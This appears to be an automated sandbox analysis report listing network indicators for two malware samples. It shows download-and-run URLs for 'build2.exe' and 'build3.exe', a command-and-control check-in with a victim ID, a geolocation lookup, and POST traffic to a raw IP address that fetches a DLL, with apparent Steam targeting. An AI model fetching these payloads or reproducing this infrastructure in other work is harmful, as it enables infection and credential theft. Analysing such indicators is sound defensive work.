Source: build2.exe, 0000000A.00000002.2359644104.00000000009D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: om/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: unknown

DNS traffic detected: queries for: api.2ip.ua

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DHIEHIIEHIEHJKEBKEHJUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 279Connection: Keep-AliveCache-Control: no-cache

Source: build2.exe, 0000000A.00000002.2359644104.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2193224734.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: rq0mVjR9ar.exe, 00000006.00000002.2613992987.00000000006C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/files/1/build3.exe
Source: rq0mVjR9ar.exe, 00000006.00000002.2614167734.00000000006D4000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2612390939.00000000006D3000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000002.2613992987.0000000000678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/files/1/build3.exe$run
Source: rq0mVjR9ar.exe, 00000006.00000002.2614167734.00000000006D4000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2612390939.00000000006D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/files/1/build3.exe$runo
Source: rq0mVjR9ar.exe, 00000006.00000003.2542221585.000000000310C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2489978712.000000000310C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2574936363.000000000310C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000002.2615451600.000000000310C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2511797013.000000000310C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2590194331.000000000310C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2603470581.000000000310C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/files/1/build3.exe/
Source: rq0mVjR9ar.exe, 00000006.00000003.2542221585.000000000310C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2489978712.000000000310C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2574936363.000000000310C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000002.2615451600.000000000310C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2511797013.000000000310C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2590194331.000000000310C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2603470581.000000000310C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/files/1/build3.exeM
Source: rq0mVjR9ar.exe, 00000006.00000002.2613992987.00000000006C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/files/1/build3.exerunx
Source: rq0mVjR9ar.exe, 00000008.00000002.4522084150.00000000005B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/test1/get.php
Source: rq0mVjR9ar.exe, 00000008.00000002.4522084150.0000000000578000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000008.00000002.4522084150.00000000005B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4
Source: rq0mVjR9ar.exe, 00000006.00000002.2613992987.0000000000637000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4&first=true
Source: rq0mVjR9ar.exe, 00000006.00000002.2613992987.0000000000637000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4&first=trueD
Source: rq0mVjR9ar.exe, 00000008.00000002.4522084150.00000000005B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4G
Source: rq0mVjR9ar.exe, 00000006.00000003.2191242950.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr
Source: rq0mVjR9ar.exe, 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000005.00000002.2096673431.0000000005E50000.00000040.00001000.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000007.00000002.2113665368.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000008.00000002.4521439007.0000000000400000.00000040.00000400.00020000.00000000.sdmp, rq0mVjR9ar.exe, 0000000C.00000002.2241405152.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error
Source: rq0mVjR9ar.exe, 00000006.00000002.2613992987.00000000006C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sdfjhuz.com/dl/build2.exe
Source: rq0mVjR9ar.exe, 00000006.00000003.2612390939.00000000006D3000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000002.2613992987.0000000000678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sdfjhuz.com/dl/build2.exe$run
Source: rq0mVjR9ar.exe, 00000006.00000002.2614167734.00000000006D4000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2612390939.00000000006D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sdfjhuz.com/dl/build2.exeT(
Source: rq0mVjR9ar.exe, 00000006.00000002.2614167734.00000000006D4000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2612390939.00000000006D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sdfjhuz.com/dl/build2.exep
Source: rq0mVjR9ar.exe, 00000006.00000002.2613992987.00000000006C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sdfjhuz.com/dl/build2.exerunb656
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: rq0mVjR9ar.exe, 00000008.00000003.2186213652.0000000003570000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.amazon.com/
Source: rq0mVjR9ar.exe, 00000006.00000003.2186396333.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/
Source: rq0mVjR9ar.exe, 00000008.00000003.2186462116.0000000003570000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.live.com/
Source: rq0mVjR9ar.exe, 00000006.00000003.2186485727.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.nytimes.com/
Source: rq0mVjR9ar.exe, 0000000E.00000002.2257030961.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: rq0mVjR9ar.exe, 00000008.00000003.2186554606.0000000003570000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.reddit.com/
Source: build2.exe, 0000000A.00000002.2362276120.0000000020E2F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2361970236.000000001E8ED000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: rq0mVjR9ar.exe, 00000006.00000003.2186602373.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.twitter.com/
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: rq0mVjR9ar.exe, 00000008.00000003.2186666428.0000000003570000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.wikipedia.com/
Source: rq0mVjR9ar.exe, 00000006.00000003.2186707698.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.youtube.com/
Source: build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000558000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149
Source: build2.exe, 0000000A.00000002.2358794500.000000000051A000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000558000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149.exe
Source: build2.exe, 0000000A.00000003.2265495540.0000000000A4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/
Source: build2.exe, 0000000A.00000003.2248150224.0000000000A4C000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2265495540.0000000000A4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/(
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/)B
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/3
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/7
Source: build2.exe, 0000000A.00000003.2248150224.0000000000A4C000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2265495540.0000000000A4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/:
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/D
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/F
Source: build2.exe, 0000000A.00000003.2265495540.0000000000A4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/G
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/IPTION
Source: build2.exe, 0000000A.00000003.2248150224.0000000000A4C000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2265495540.0000000000A4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/J
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2223402572.0000000000A4C000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2248150224.0000000000A4C000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2284947561.0000000000A4D000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2265495540.0000000000A4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/M
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/W
Source: build2.exe, 0000000A.00000003.2223402572.0000000000A4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/_
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/pet
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/sqln.dll
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/sqln.dll0
Source: build2.exe, 0000000A.00000003.2223402572.0000000000A4C000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2248150224.0000000000A4C000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2265495540.0000000000A4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/u
Source: build2.exe, 0000000A.00000002.2358794500.000000000051A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.1494JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZv
Source: build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149CGDGI
Source: build2.exe, 0000000A.00000002.2358794500.0000000000558000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149Data
Source: rq0mVjR9ar.exe, 00000006.00000003.2189658649.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com
Source: rq0mVjR9ar.exe, 00000002.00000003.2084998396.000000000089E000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000002.00000002.2092151672.000000000089D000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000002.2613992987.0000000000678000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 0000000E.00000002.2257659855.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 0000000E.00000003.2256003892.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 0000000E.00000003.2252264692.00000000008C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/
Source: rq0mVjR9ar.exe, 00000008.00000003.2122964855.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000008.00000002.4522084150.00000000005B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/B8
Source: rq0mVjR9ar.exe, 00000008.00000003.2122964855.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000008.00000002.4522084150.00000000005B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/H8
Source: rq0mVjR9ar.exe, rq0mVjR9ar.exe, 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000002.2613992987.0000000000637000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000007.00000002.2113665368.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000008.00000003.2122964855.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000008.00000002.4521439007.0000000000400000.00000040.00000400.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000008.00000002.4522084150.0000000000578000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 0000000C.00000002.2241405152.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp, rq0mVjR9ar.exe, 0000000E.00000002.2257659855.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 0000000E.00000003.2256003892.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 0000000E.00000003.2252264692.00000000008C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json
Source: rq0mVjR9ar.exe, 00000006.00000002.2613992987.0000000000637000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json&/
Source: rq0mVjR9ar.exe, 00000002.00000002.2092151672.0000000000848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonO7Hi7
Source: rq0mVjR9ar.exe, 00000008.00000002.4522084150.0000000000578000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonQ
Source: rq0mVjR9ar.exe, 00000002.00000002.2092151672.0000000000848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonW70i8
Source: rq0mVjR9ar.exe, 00000008.00000003.2122964855.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000008.00000002.4522084150.00000000005B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonm
Source: rq0mVjR9ar.exe, 00000008.00000003.2122964855.00000000005C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonom
Source: build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: rq0mVjR9ar.exe, 00000006.00000003.2194150793.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://artifacts.dev.azure.com/office/_apis/symbol/symsrv/privacy-sdx.win32.bundle.js.map/e3b0c4429
Source: rq0mVjR9ar.exe, 00000006.00000003.2189658649.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://assets.activity.windows.com
Source: rq0mVjR9ar.exe, 00000006.00000003.2189658649.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://assets.activity.windows.com/v1/assets
Source: rq0mVjR9ar.exe, 00000006.00000003.2189658649.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://assets.activity.windows.com/v1/assets/$batch
Source: build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: build2.exe, 0000000A.00000002.2359644104.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2193224734.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: build2.exe, 0000000A.00000003.2193224734.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/
Source: build2.exe, 0000000A.00000002.2359644104.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2193224734.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: rq0mVjR9ar.exe, 00000006.00000003.2194758143.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/generate_204
Source: build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/
Source: build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=EyWBqDQS-6jg&a
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.TP5s6TzX6LLh
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=c4UneKQJ
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=2YYI
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/global.js?v=B7Vsdo1okyaC&l=english
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalContent.js?v=L35TrLJDfqtD&l=engl
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/profile.js?v=Iy1ies1ROjUT&l=english
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=ZVlkBFZXqRp1&l=e
Source: build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english
Source: build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl
